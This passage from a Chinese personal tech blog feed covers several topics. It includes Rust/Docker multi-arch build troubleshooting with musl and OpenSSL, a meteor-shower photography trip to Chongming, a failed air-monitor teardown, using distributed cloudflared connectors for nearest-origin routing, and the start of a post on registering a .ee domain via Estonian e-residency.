"/app/target/release/deps/libtokio_util-90ef3865aaa61e5e.rlib" "/app/target/release/deps/libtracing-1da3a3ff67f4bec1.rlib" "/app/target/release/deps/libtracing_core-b63b26b64e7a8105.rlib" "/app/target/release/deps/libonce_cell-8069f17fd4df89e6.rlib" "/app/target/release/deps/libhttparse-57449685ff4705cf.rlib" "/app/target/release/deps/libspin-73dbf16dd571446e.rlib" "/app/target/release/deps/libencoding_rs-7683a3afbd2abe9a.rlib" "/app/target/release/deps/libhttp-35200d3ad46ec0f9.rlib" "/app/target/release/deps/libfnv-82c7e996987a6199.rlib" "/app/target/release/deps/libindexmap-02aebc2b2c11958e.rlib" "/app/target/release/deps/libhashbrown-a5ea1c03e41647ca.rlib" "/app/target/release/deps/libeither-7a72415ff30e3108.rlib" "/app/target/release/deps/libtokio_stream-22af83096a1cd410.rlib" "/app/target/release/deps/libatomic-c03615d17583da5e.rlib" "/app/target/release/deps/libstate-d79b0fb801f7b15b.rlib" "/app/target/release/deps/libparking_lot-56f62f958a9794d9.rlib" "/app/target/release/deps/libparking_lot_core-24ca98da7d7f2b19.rlib" "/app/target/release/deps/libcfg_if-85c334935ca1cf3d.rlib" "/app/target/release/deps/libsmallvec-b80672ee63140a1f.rlib" "/app/target/release/deps/liblock_api-aa9a3618939327ad.rlib" "/app/target/release/deps/libscopeguard-17c02f89e1495a6b.rlib" "/app/target/release/deps/libubyte-53a35973dcef3b92.rlib" "/app/target/release/deps/liblog-40d6ddc909b0c838.rlib" "/app/target/release/deps/libis_terminal-b2dec1edfa9020e0.rlib" "/app/target/release/deps/librustix-b79c7cdf68554bb1.rlib" "/app/target/release/deps/libbitflags-33a64692a7b926e9.rlib" "/app/target/release/deps/liblinux_raw_sys-3c0ed39bce490458.rlib" "/app/target/release/deps/libtime-c9efb7347e1d4147.rlib" "/app/target/release/deps/libitoa-4e3c2272091e09ac.rlib" "/app/target/release/deps/libtime_core-6e76d0b901dc6f13.rlib" "/app/target/release/deps/libderanged-f37da7152db973f2.rlib" "/app/target/release/deps/libfigment-d56bce3860016ab3.rlib" "/app/target/release/deps/libtoml-b489a43dc0f6eb1c.rlib" "/app/target/release/deps/libtoml_edit-9281968d258c7d78.rlib" "/app/target/release/deps/libserde_spanned-b158dd6ea3b96735.rlib" "/app/target/release/deps/libindexmap-ba48b6652434a2a8.rlib" "/app/target/release/deps/libequivalent-632a5c005316850d.rlib" "/app/target/release/deps/libhashbrown-3983d74463a82636.rlib" "/app/target/release/deps/libwinnow-6899879cdd6c2091.rlib" "/app/target/release/deps/libtoml_datetime-0897972d9afde5d0.rlib" "/app/target/release/deps/libuncased-e60bc90193c31787.rlib" "/app/target/release/deps/libpear-daf347955190abd8.rlib" "/app/target/release/deps/libyansi-8f33bca686eb0e72.rlib" "/app/target/release/deps/libinlinable_string-edce6a169e8d4fb3.rlib" "/app/target/release/deps/libserde-b9f17f14c671d860.rlib" "/app/target/release/deps/libtokio-f5a651b5671ad6ce.rlib" "/app/target/release/deps/libsignal_hook_registry-43f091791edab8d3.rlib" "/app/target/release/deps/libnum_cpus-645e52fa82c5038d.rlib" "/app/target/release/deps/libsocket2-5f5a714d64fd802d.rlib" "/app/target/release/deps/libbytes-62c9407790d48b4a.rlib" "/app/target/release/deps/libmio-31b9694540026601.rlib" "/app/target/release/deps/liblibc-995eeee032a5f5f9.rlib" "/app/target/release/deps/libfutures-cba62e5842e36664.rlib" "/app/target/release/deps/libfutures_util-36aed2c0518ed210.rlib" "/app/target/release/deps/libmemchr-3a7c2b395cb2f36e.rlib" "/app/target/release/deps/libfutures_io-eb63744d4682e029.rlib" "/app/target/release/deps/libslab-7b5bd29f7639d510.rlib" "/app/target/release/deps/libfutures_channel-955aedcfa158ff5e.rlib" "/app/target/release/deps/libfutures_sink-6b1883f3a3d27161.rlib" "/app/target/release/deps/libfutures_task-231e41c20a6bfd7e.rlib" "/app/target/release/deps/libpin_utils-5a2c59a680150faa.rlib" "/app/target/release/deps/libasync_stream-ba095822278f5551.rlib" "/app/target/release/deps/libpin_project_lite-7d06350189cc1d02.rlib" "/app/target/release/deps/libfutures_core-3bef00756fc0a4ca.rlib" "/app/target/release/deps/libyansi-a9a29b8f1212c3c5.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libstd-a55c99d9aac7c6c8.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libpanic_unwind-46b2ae4ce5f4ac3c.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libobject-bc100d33f847f53c.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libmemchr-6fed8b06d1b8dd31.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libaddr2line-ef156e55b8a0b661.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libgimli-5dd0cc5240ff597d.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_demangle-b6251d721ee20ba8.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libstd_detect-2abef0e4453983bd.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libhashbrown-7ba331d2a4169fa6.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_std_workspace_alloc-94dcb2b51eeefe61.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libminiz_oxide-b86470996bafb930.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libadler-500cadb64a5228ac.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libunwind-53353d61a88a3a7a.rlib" "-lunwind" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcfg_if-fe0ba221a42ab3ba.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/liblibc-a76e01b4e68d0f0e.rlib" "-lc" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/liballoc-74327c4df0bf25aa.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_std_workspace_core-e7cc358bf4ebd76f.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcore-632ed3ff9dfe5d9b.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib" "-Wl,-Bdynamic" "-Wl,--eh-frame-hdr" "-Wl,-z,noexecstack" "-nostartfiles" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained" "-o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb" "-Wl,--gc-sections" "-static" "-no-pie" "-Wl,-z,relro,-z,now" "-Wl,-O1" "-nodefaultlibs" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtend.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtn.o"
  = note: /usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib(45c91108d938afe8-cpu_model.o): in function `init_have_lse_atomics':
          /cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1075: undefined reference to `getauxval'
          /usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib(45c91108d938afe8-cpu_model.o): in function `init_cpu_features':
          /cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1373: undefined reference to `getauxval'
          /usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1374: undefined reference to `getauxval'
          collect2: error: ld returned 1 exit status

  = note: some `extern` functions couldn't be found; some native libraries may need to be installed or have their path specified
  = note: use the `-l` flag to specify native libraries to link
  = note: use the `cargo:rustc-link-lib` directive to specify the native libraries to link with Cargo (see https://doc.rust-lang.org/cargo/reference/build-scripts.html#cargorustc-link-libkindname)

error: could not compile `github-runner-kms-rs` (bin "github-runner-kms-rs") due to previous error

经过了各种搜索,发现可能是一个 Bug,最后在 https://github.com/rust-lang/git2-rs/issues/706 中发现有人加入了 CFLAGS=-mno-outline-atomics 环境变量,于是我也试试:

# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder

WORKDIR /app

RUN apk add --no-cache musl-dev pkgconfig openssl-dev perl make

COPY Cargo.toml Cargo.lock rust-toolchain.toml ./

RUN mkdir src

COPY src ./src

ENV CFLAGS=-mno-outline-atomics
RUN cargo build --release

FROM alpine

WORKDIR /

COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs

ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000

CMD ["/github-runner-kms-rs"]

再来构建,这次在 ARM64 上构建成功了,但是回过来在 AMD64 上构建又失败了:

#0 51.10
#0 51.10   **********************************************************************
#0 51.10   ***                                                                ***
#0 51.10   ***   OpenSSL has been successfully configured                     ***
#0 51.10   ***                                                                ***
#0 51.10   ***   If you encounter a problem while building, please open an    ***
#0 51.10   ***   issue on GitHub <https://github.com/openssl/openssl/issues>  ***
#0 51.10   ***   and include the output from the following command:           ***
#0 51.10   ***                                                                ***
#0 51.10   ***       perl configdata.pm --dump                                ***
#0 51.10   ***                                                                ***
#0 51.10   ***   (If you are new to OpenSSL, you might want to consult the    ***
#0 51.10   ***   'Troubleshooting' section in the INSTALL file first)         ***
#0 51.10   ***                                                                ***
#0 51.10   **********************************************************************
#0 51.10   running cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && "make" "depend"
#0 51.10   running cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && MAKEFLAGS="-j --jobserver-fds=8,13 --jobserver-auth=8,13" "make" "build_libs"
#0 51.10   perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10       "-oMakefile" include/crypto/bn_conf.h.in > include/crypto/bn_conf.h
#0 51.10   perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10       "-oMakefile" include/crypto/dso_conf.h.in > include/crypto/dso_conf.h
#0 51.10   perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10       "-oMakefile" include/openssl/opensslconf.h.in > include/openssl/opensslconf.h
#0 51.10   make depend && make _build_libs
#0 51.10   make[1]: Entering directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10   make[1]: Leaving directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10   make[1]: Entering directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10   cc  -I. -Iinclude -fPIC -pthread -m64 -Wa,--noexecstack -mno-outline-atomics -O2 -ffunction-sections -fdata-sections -fPIC -m64 -mno-outline-atomics -DOPENSSL_USE_NODELETE -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM -DOPENSSLDIR="\"/usr/local/ssl\"" -DENGINESDIR="\"/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/install/lib/engines-1.1\"" -DNDEBUG -DOPENSSL_NO_SECURE_MEMORY -MMD -MF apps/app_rand.d.tmp -MT apps/app_rand.o -c -o apps/app_rand.o apps/app_rand.c
#0 51.10   make[1]: Leaving directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10
#0 51.10   --- stderr
#0 51.10   cc: error: unrecognized command-line option '-mno-outline-atomics'; did you mean '-fno-inline-atomics'?
#0 51.10   cc: error: unrecognized command-line option '-mno-outline-atomics'; did you mean '-fno-inline-atomics'?
#0 51.10   make[1]: *** [Makefile:679: apps/app_rand.o] Error 1
#0 51.10   make: *** [Makefile:177: build_libs] Error 2
#0 51.10   thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/openssl-src-111.27.0+1.1.1v/src/lib.rs:506:13:
#0 51.10
#0 51.10
#0 51.10
#0 51.10   Error building OpenSSL:
#0 51.10       Command: cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && MAKEFLAGS="-j --jobserver-fds=8,13 --jobserver-auth=8,13" "make" "build_libs"
#0 51.10       Exit status: exit status: 2
#0 51.10
#0 51.10
#0 51.10
#0 51.10   note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
#0 51.11 warning: build failed, waiting for other jobs to finish...
------
Dockerfile:15
--------------------
  13 |
  14 |     ENV CFLAGS=-mno-outline-atomics
  15 | >>> RUN cargo build --release

无奈,最终只能暂时接受 ARM64 和 AMD64 用两个独立的 Dockerfile 来构建的模式了(AMD64 的 Dockerfile 中不加入 ENV CFLAGS=-mno-outline-atomics 环境变量),最后参考了一下自己早期文章 在 GitHub Actions 上使用多 Job 并行构建,提升 Multi-Arch 镜像制作速度 分两个 Job 分开构建镜像并缝合的方式,终于可以在一个看上去还算合理的时间内构建这个新程序的 MultiArch 镜像了。

当然,这里「还算合理的时间」其实也没那么合理就是了,下一步的研究方向可能是做一个可以按需启动 Hetzner 机器并自动注册 ARM64 Self-hosted Runner 的方式

总结一下,在这次的构建过程中遇到了如下的问题:

感觉好像我一上手 Rust 就踩了个大坑,也许不该上来就搞 HTTP 相关的东西的

对比一下如果用 Go 要解决上面静态链接 SSL 相关库的问题似乎只要:

CGO_ENABLED=0 go build .

就可以了,但是在 Rust 这里,就得各种找人打架,安装依赖,尝试看各种看不懂的报错。(当然也有可能是我太菜了导致)。

在学习期间还偶然发现一个神奇的玩法,即使用:

rustup target add x86_64-unknown-linux-musl
cargo build --release --target=x86_64-unknown-linux-musl

使用这种方式构建出来的 Binary 不会有任何依赖(静态链接):

ldd target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
        statically linked

du -ch target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
17M     target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
17M     total

而且最有趣的是,这里虽然名字叫 musl ,但是并不会像我们传统的在 Alpine 上构建出来的文件依赖 musl 库没法在 glibc 运行时环境的机器上运行,这个 binary 似乎可以在任何 AMD64 架构的平台上运行。

对比之下,传统方式用 cargo build --release 构建的话会有许多的依赖(但是构建出来文件体积和静态链接的是一样的):

ldd target/release/github-runner-kms-rs
        linux-vdso.so.1 (0x00007fffba6fd000)
        libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007f276cebc000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f276cdde000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f276c000000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f276cefa000)

du -ch target/release/github-runner-kms-rs
17M     target/release/github-runner-kms-rs
17M     total

References

  1. https://www.mail-archive.com/debian-bugs-dist@lists.debian.org/msg1802783.html
  2. https://github.com/rust-lang/git2-rs/issues/706
  3. https://github.com/rust-lang/rust/issues/89626
  4. https://news.ycombinator.com/item?id=24443835
  5. https://gitlab.alpinelinux.org/alpine/aports/-/issues/13690
  6. https://gitlab.alpinelinux.org/alpine/aports/-/issues/11377
  7. https://docs.rs/openssl/latest/openssl/
]]>
2023 崇明东滩看英仙座流星(雨)小记https://nova.moe/2023-meteor/Sun, 27 Aug 2023 22:00:00 +0800https://nova.moe/2023-meteor/在经历了两年的大规模随时就地 Lock down 的岁月之后,我对旅游的想法越来越低(同时也不太理解有旅游到一半可能随时被 Lock down 的概率下为啥大家还是有出门旅游(冒险?)的想法),两年时间基本就一直没有离开过上海,空闲时在家看书,玩神力科莎刷圈度日。

机缘巧合,在一个被称为「P社上海车友会」的 Telegram 群看到一个大佬说晚上打算去看流星。

想来自己常年处于光污染的城市区域,从来没亲眼看到过流星,甚至连银河也只是在其他人的照片中看到过,且考虑到崇明也不算太远,于是便有了这个说走就走的旅行。

考虑到可能会折腾到比较晚,加上当天上午才洗好了车又跑了一遍图书馆(缴纳逾期罚款),中午一觉睡到了 1700 醒来,稍微看了一下大家推荐的观星位置便决定带上相机,三脚架和两个镜头去崇明东滩,由于醒来之后晚饭没吃,便决定导航到崇明唯二的一个 KFC 去吃饭,然后再去东滩。

由于是下午,且是去崇明的方向,基本就是上了高速 ACC 一打开,就只要等时间的状态,FK7 在这个时候表现出了非常家用的一面——5.0L/100KM 的油耗。

到达了崇明之后停好车便开始在唯二的 KFC 中随意吃了点,同时看看大家的观星地点一般都是在什么地方

发现大家导航到的位置一般如下图:

但是由于我去的时候这条路路口的位置被车挡住了,于是在下一个路口往右了(也就是这个小水沟北面的那条平行的道路)。

从 KFC 到这边的过程中发现其实有很多路上是一点灯都没有的(可以看到整个夜空),但是也正是因为这个原因,我也不敢直接在路边停车+下车看星。

和大部分人导航到的地方不同的是,北边那条路基本只有一个车道(或者说大家一般都是停在了路中间),所以这就是一个先进后出的栈,我到达的时间比较早,大概在 2000 左右,当时栈底只有两辆车,一开始我还没意识到问题的严重性,便停下了车入栈,开始准备拍摄设备。

从我的位置拍摄河对面(大多数人导航的位置)的效果如图:

这次拍摄我带了两个镜头,一个是腾龙的 28-200MM F2.8~5.6,另一个则是国产"夜之眼" 铭匠光学 50MM F0.95,不过在实际的拍摄中,发现 50MM F0.95 的唯一优势似乎就是由于是手动对焦,可以通过放大对焦确认了对焦位置之后锁定对焦点,对于画质和焦距(尤其是广角的需求)等方面几乎没有任何优势,所以后期照片全部使用腾龙镜头拍摄。

这也是我第一次在伸手不见五指的地方尝试使用相机,对焦方式只能是对着天空,然后找到一个比较亮的星,用 DM-F 的对焦方式在相机尝试自动对焦(失败)之后手动旋转对焦环,相机会自动放大对焦

样张一:ƒ/2.8 30s 28mm ISO400,车的右下角发蓝光的是一个电蚊拍

样张二:ƒ/2.8 30s 28mm ISO3200

样张三:ƒ/2.8 30s 28mm ISO3200。

样张四,五:ƒ/2.8 30s 28mm ISO2000

由于几乎没有拍星空的经验,一开始我以为天上的星被拉成一条线是因为在我拍摄的时候地面有抖动(由于当时我还没有电子快门线,为了减少抖动我使用了自拍定时释放,在按了快门 5s 之后释放快门,减少按快门的瞬间引起的抖动),后来才意识到这是由于曝光时间过长,天上的星已经发生了位移导致,这种时候应该充分利用 Sony A7 的高感特性提升一些 ISO 减少一些快门时间来获得更好的拍摄效果。

样张六:ƒ/5.6 30s 28mm ISO400,画面中的线不是流星,而是飞机

到了 2300 之后,发现自己车后方有 > 10 辆车的时候我才意识到事情的严重性(同时感慨晚上吃了 KFC 没有拉肚子是有多么幸运,因为那个地方根本没有任何可以称得上厕所的地方),绝望和脖子痛之余,只好将自己后备箱的垫子丢在地上当一个简单的床垫,取下了椅子上的头枕当作枕头,开始躺在地上"摆烂",同时相机开启了定时拍摄,并希望可以拍摄到点什么有趣的东西(同时希望其他车上的人不要突然拿出帐篷并就地露营)。

此处拍了 > 80 张照片,只有下面两张照片勉强拍到了流星

样张七,八:ƒ/2.8 30s 28mm ISO3200

好消息是到了差不多 0100 我已经快要困的随时睡着的时候,天上流星数量明显减少(还好不是 0300 达峰),且天上开始逐渐飘起了一些云,同时听到了一些车启动准备离场的声音,重大利好!

我赶紧爬了起来开始收拾东西准备开溜,并最终在 0146 的时候,开始正式往家的方向走。

是谁 0200 还在沪陕高速上熬夜回家,是我了!

回程的路上由于几乎全是高速, 和来的时候一样全程开着 ACC 让车辆自动驾驶,当时回家路上的精神状态让我感觉如果这段路我还要全手动驾驶的话,可能我已经在某个奇怪的弯道上墙了。

等到回到家收拾完东西洗完澡躺到床上的时候,已经 0400 了,外面的天已经快亮了,有意思的是,从下午 1440 第一次看到大佬说去看流星直到第二天的中午,我都再也没有看到过他的消息(本来以为下午到了崇明之后会在某个地方汇合可以一起观星的)…直到一天后的晚上:

由于这次说走就走的旅行几乎没有什么额外准备,这次拍摄让我想到了多个后期可以补足以及这次正好过得还行的地方:

  • 买个靠谱的电子快门线可以减少使用定时拍摄的麻烦
  • 带上 DEET 类的驱蚊产品非常明智,在东滩由于大量喷了驱蚊液,全程(2000~0100) 这 5 个小时期间只被蚊子咬了一个包(虽然躺在地上的时候时不时有蚊子在耳边骚扰体验有点差)
    • 或许弄个蚊帐放在地上配合电子快门线会是绝杀(不过不确定蚊帐是否会对观星带来更大影响)
    • 如果是新能源车+车顶有全透明全景天窗+相机无线图传的话在这个场景下应该是真的绝杀,可以保持空调常开躺在车内看星星
  • 不要停在单行道或者类似栈的地方,会变得不幸
  • 如果要看星空的话建议准备一个简单的床垫和枕头,躺在地上看星星对于脖子压力会小得多,而且 FOV 也广了不少,不会经常有听到别人的「哇」而自己没看到流星带来的失落感
  • 尽量使用定时拍摄,可以增加拍摄到流星的概率,且使用 <28MM 的镜头(对于全画幅机器而言,其他画幅请自行估算等效焦距)以获得更好的 FOV。此外还可以导入序列生成延时摄影的视频,
  • 除非你是驾驶铁人,ACC 在被迫深夜高速回家的场景下对于提升安全性非常有帮助

以上。

]]>
记录一次失败的青萍空气检测仪 Lite 拆解https://nova.moe/qingping/Sat, 26 Aug 2023 20:00:00 +0800https://nova.moe/qingping/这是一个非常简单的分享。

青萍空气检测仪 Lite简单拆解 类似,尝试拆开青萍空气检测仪 Lite,不过我的目的是尝试解决它风扇异响的问题(间隔性的响声)。

这个设备的风扇异响似乎是一个通病,打开淘宝店上也能看到很多人反馈这个问题,不过一般都是返厂自费维修。

主要希望补全的是上文没有提到的屏幕的拆法,我暴力拆解后发现要拆屏幕的话需要先拆下最外面的塑料覆盖件,然后才能看到螺丝(也就是下图中最上面那层光滑的平面,要想办法把那个先撬起来,不然就会和我一样把整个屏幕总成破坏了)。

然后就是我失败的地方了,我在撬后盖的时候把排线撬断了(见下图左下角)

然后温度和湿度的传感器就没数据了。

然后就是一些图片分享了,主要的异响来源就是这个风扇,不过拆出来之后并没有发现什么我可以做的地方,所以…就这样吧。

以上。

]]>
分布式部署 cloudflared 让访客就近回源,进一步提升访问速度https://nova.moe/cloudflared-distributed/Thu, 18 May 2023 20:00:00 +0800https://nova.moe/cloudflared-distributed/

2023-11-27 更新:这种方法似乎只能保证有源站的国家(比如美国和日本,那只有美国和日本的访客)可以比较稳定就近回源,我在 Cloudflare Community 上发了帖子: https://community.cloudflare.com/t/tunnel-cannot-route-to-geographically-closest/537965/8

目前如果希望稳定就近回源,或者说可控的话,除了用 IPv6 Anycast 以外似乎还可以使用 Worker 回源,相关博客: 使用 Cloudflare Workers 在边缘让服务就近回源——降低全球平均延迟

在之前的文章「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中我们知道:

一般的,Cloudflare 回源的方式是由访客命中的数据中心进行回源

假设你的站点服务器位于美国,那么一个日本用户在访问你的域名的时候会首先访问到 Cloudflare 在日本的数据中心,然后由 Cloudflare 日本走公网反向代理到你的源站(也就是美国的机器上)获取内容。

如果你的站是 Stateless 的,或者说很好扩展的话,在使用 Cloudflare 的情况下其实并不能做到在多个区域中部署,并在使用同一个域名的情况下做到访客就近回源,具体来说,我们想达到的效果是如下的:

  • 三台机器 A,B,C 分别位于美国,日本,法国,上面跑着一个监听在 localhost:80 端口的服务
  • 使用同一个域名 tunnel.nova.moe,并使用 Cloudflare 作为 CDN
  • 大部分美洲用户访问后应该看到 A 机器上的内容,大部分亚洲用户访问后应该看到 B 机器上的内容,大部分欧洲用户访问后看到 C 机器上的内容

在我们开始讲这个实践之前读者可以想想看如果你的业务有类似的需求,你会怎么设计?以下我列举几个可能性

  • 使用非 Cloudflare 的 CDN 并针对不同的 IP 创建域名(比如 us.nova.moejp.nova.moe 等) ,这样我们可以用别的自带分区解析的服务商,让不同区域的用户解析到不同的域名上
    • 这么做的话费用就是 CDN 流量费 + DNS 服务费
  • 使用 Cloudflare 的 CDN 并使用 SSL for SaaS,创建一个单独的域名针对不同 IP 创建域名,然后找一个自带分区解析的服务商,让不同区域的用户解析到不同的域名上
    • 这么做的话费用就是 DNS 服务费
  • 买 Cloudflare 的 Load Balancing 服务,5USD/mo 起步,多 Region 需要购买 Traffic Steering,额外 10USD/mo

有没有什么更加廉价的解决方案?

Cloudflared

通过 Cloudflared 的文档: Tunnel availability and failover · Cloudflare Zero Trust docs 中我们可以看到这么一段:

By design, replicas do not offer any level of traffic steering (random, hash, or round-robin). Instead, when a request arrives to Cloudflare, it will be forwarded to the replica that is geographically closest.

这就给了我们操作的空间,思路如下:

  • 创建一个 Tunnel
  • 在多个区域的机器上都使用同一个 Tunnel 的配置来连接 Tunnel
  • 和往常一样配置 Tunnel 信息
  • 保证多个区域的机器的服务监听在同一个端口
  • 成了

我们来看看实际操作起来是怎么样的,首先是创建 Tunnel 并在机器上连接 Tunnel

这里为了测试我找了两个分别位于新加坡和德国的机器用来演示,每个机器上都安装了 Nginx 并修改了一下 Example Page,在配置的时候我们可以看到已经有两个 Connector 在线了

接下来就是熟悉的配置环节,由于过于简单这里就没有截图了。

配置好之后我们来验证一下吧,这是从日本访问:

这是从瑞典访问:

可以看到我们在使用相同域名的情况下已经可以做到让 Cloudflare 回源到最近的数据中心了,位于欧洲的访客再也不用让 Cloudflare 公网回源到新加坡去拿数据了,这个时候对于我们的 Web App 来说,只要解决好后台数据同步的问题(或者说如果就是一个 Stateless 的 App 的话),已经可以在没有额外开销的情况下进一步减少不同区域访客的访问延迟了。

此外,即使你有部分机器不可用,只要还有一个机器活着,整个站点还会保持可用状态,因为:

If that distance calculation is unsuccessful or the connection fails, we will retry others, but there is no guarantee about which connection is chosen.

而且这一切还都是免费的!

不得不感慨,「At Cloudflare, we have our eyes set on an ambitious goal — to help build a better Internet.」,真的不仅仅是一句口号。

]]>
用爱沙尼亚电子公民(e-Estonia)签名并注册 .ee 域名https://nova.moe/register-ee-domain/Mon, 08 May 2023 09:00:00 +0800https://nova.moe/register-ee-domain/.ee 是爱沙尼亚的互联网国家顶级域名(ccTLD),由爱沙尼亚互联网基金会运营。

常规来说我们要注册一个域名可能会找到自己最喜欢的服务商去搜索一下,比如在 Gandi 上搜索一个域名,然后注册就完事了,但是 .ee 域名稍微有点特殊,从 Gandi 的注册页面中我们可以看到

除了可以注意到价格有点贵的离谱以外,还有个 condition 叫做 To register a domain in .ee, you must meet some registry conditions: be a local or foreign company

为了了解 Gandi 到底有没有在忽悠我们,一个域名能需要什么额外的 additional work 呢?我们找到了爱沙尼亚互联网基金会的网站的域名注册规范:.ee Domain Regulation — Estonian Internet Foundation 看看注册域名具体需要什么。

在 4.1 Identification and identity verification requirements 我们可以看到,注册域名的时候需要对域名的注册进行 Sign:

The Registrant or his representative shall, for the purposes of identity verification and establishment of the Registrant’s intention

方法是用 Mobile-ID 或者 Estonian ID card

4.1.1¹. sign the application submitted to the Registrar either in handwriting in the presence of the Registrar’s representative or electronically using the Estonian ID card or Mobile ID; or

而且标明了电子公民也是认可的:

4.2¹. An electronic signature provided by an e-resident of Estonia shall be deemed equivalent to the electronic signature specified in clause 4.1.1¹ (see Chapter 52 of the Identity Documents Act).

Register

由于我持有爱沙尼亚电子公民卡(随机 Lockdown 期间要当天来回冲刺北京-上海防止被健康宝弹窗而被迫滞留北京给北京贡献经济的冲刺赛体验,假人们谁懂啊),所以这里只需要找一个合理的服务商就好了:

我选择了好久之前好友 clarkzjw 推荐的 https://www.zone.ee/en/ 进行注册,注册流程和常规域名一样注册帐号并填写域名申请(注意,这里的申请人的 LastName 和 FirstName 必须和你的爱沙尼亚电子公民上面完全一致,不然签名会无法通过),而且可以看到在这里注册的话价格就是一个比较正常的域名价格

